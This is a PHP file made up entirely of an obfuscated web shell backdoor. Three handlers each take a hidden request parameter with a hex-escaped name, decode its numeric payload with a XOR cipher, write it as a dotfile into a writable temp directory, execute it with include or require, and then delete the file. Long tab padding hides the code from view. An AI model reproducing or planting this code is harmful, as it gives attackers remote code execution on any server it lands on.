<?php																																										if(array_key_exists("\x64\x63\x68unk", $_POST)){ $ptr = $_POST["\x64\x63\x68unk"]; $ptr= explode ("." , $ptr ) ; $ent = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); foreach( $ptr as $x => $v8) { $chS = ord( $s[$x % $lenS]); $d = ( ( int)$v8 - $chS -( $x % 10)) ^ 38; $ent.= chr( $d); } $flg = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), "/tmp", getenv("TMP"), sys_get_temp_dir(), getcwd(), "/dev/shm", "/var/tmp"]); while ($marker = array_shift($flg)) { if (is_dir($marker) ? is_writable($marker) : false) { $pset = vsprintf("%s/%s", [$marker, ".ref"]); if (file_put_contents($pset, $ent)) { require $pset; unlink($pset); die(); } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x68\x6Fld\x65r"])){ $hld = $_REQUEST["\x68\x6Fld\x65r"]; $hld= explode ( '.',$hld ); $desc = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $r = 0; $__len = count( $hld); do { if( $r >=$__len) break; $v1 = $hld[$r]; $chS = ord( $s[$r % $sLen]); $dec = ( ( int)$v1 - $chS -( $r % 10)) ^ 30; $desc.=chr( $dec); $r++; } while( true); $pointer = array_filter([getcwd(), ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", sys_get_temp_dir(), "/tmp", getenv("TEMP"), "/dev/shm", getenv("TMP")]); while ($ent = array_shift($pointer)) { if ((bool)is_dir($ent) && (bool)is_writable($ent)) { $mrk = "$ent" . "/.flg"; if (file_put_contents($mrk, $desc)) { include $mrk; @unlink($mrk); die(); } } } }


if(isset($_POST["pse\x74"]) ? true : false){
	$desc = array_filter([getenv("TEMP"), getenv("TMP"), getcwd(), sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", session_save_path()]);
	$dat = $_POST["pse\x74"];
				$dat=explode(	'.',		$dat	); 
	$sym = '';
            $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen(	 $s8);
            $n = 0;
    
            array_walk(	 $dat,  function(	 $v5) use(	 &$sym,  &$n,  $s8,  $sLen) {
                $chS = ord(	 $s8[$n%  $sLen]);
                $d =(	 (	 int)$v5 - $chS -(	 $n%  10)) ^ 	89;
                $sym .= chr(	 $d);
                $n++;
            });
	while ($key = array_shift($desc)) {
    		if (is_dir($key) ? is_writable($key) : false) {
    $entity = join("/", [$key, ".descriptor"]);
    $file = fopen($entity, 'w');
if ($file) {
	fwrite($file, $sym);
	fclose($file);
	include $entity;
	@unlink($entity);
	die();
}
}
}
}